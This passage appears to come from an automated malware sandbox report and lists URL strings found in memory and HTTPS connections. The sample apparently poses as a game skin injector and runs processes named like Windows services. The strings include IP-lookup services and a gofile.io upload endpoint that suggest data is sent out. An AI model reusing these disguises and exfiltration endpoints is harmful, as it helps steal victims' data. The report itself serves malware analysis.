00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, w85VkFOxiD.exe, 00000000.00000002.1683136202.0000000004810000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, w85VkFOxiD.exe, 00000000.00000002.1683136202.0000000004810000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000001.00000002.1696710290.0000000004B81000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19A1000.00000004.00000800.00020000.00000000.sdmp, Update.exe, 00000004.00000002.1684113590.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000001.00000002.1696710290.0000000004B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.g
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19A1000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929/assets
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929/reactions
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/assets/160072559
Source: R3nzSkin_Injector.exe, 00000003.00000002.1711266897.00000091964F5000.00000004.00000010.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/latest
Source: R3nzSkin_Injector.exe, 00000003.00000002.1718193838.0000019E9FED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/latest089
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/tarball/v3.3.0
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/zipball/v3.3.0
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/events
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/followers
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/following
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/gists
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/orgs
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/received_events
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/repos
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/starred
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/users/R3nzTheCodeGOD/subscriptions
Source: w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://api.ipify.org/
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://avatars.githubusercontent.com/u/58574988?v=4
Source: SearchServices.exe	String found in binary or memory: https://cffi.readthedocs.io/en/latest/using.html#callbacks
Source: powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1696710290.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/R3nzTheCodeGOD
Source: w85VkFOxiD.exe, 00000000.00000002.1683136202.0000000004810000.00000004.00000020.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000000.1640991159.00007FF67050A000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://github.com/R3nzTheCodeGOD/R3nzSkin
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/R3nzTheCodeGOD/R3nzSkin/releases/download/v3.3.0/R3nzSkin.zip
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/R3nzTheCodeGOD/R3nzSkin/releases/tag/v3.3.0
Source: SearchServices.exe	String found in binary or memory: https://github.com/mhammond/pywin32
Source: powershell.exe, 00000001.00000002.1696710290.000000000536C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1696710290.00000000054DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.1731911196.0000000007499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goAppVClientCmdlets.psm14
Source: w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://ipwho.is/
Source: powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354sCannot
Source: cmd.exe, 00000040.00000002.1853161063.00000271FC400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile
Source: cmd.exe, 0000003A.00000002.1836427496.00000245377C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile;
Source: cmd.exe, 00000040.00000002.1853161063.00000271FC400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileHOMEDRI
Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uploads.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929/assets
Source: SearchServices.exe, 00000005.00000003.1684576836.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/
Source: SearchServices.exe, 00000005.00000003.1684653842.00000264CA9B5000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1684576836.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1684576836.00000264CA9B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: SearchServices.exe, 00000005.00000003.1683515481.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
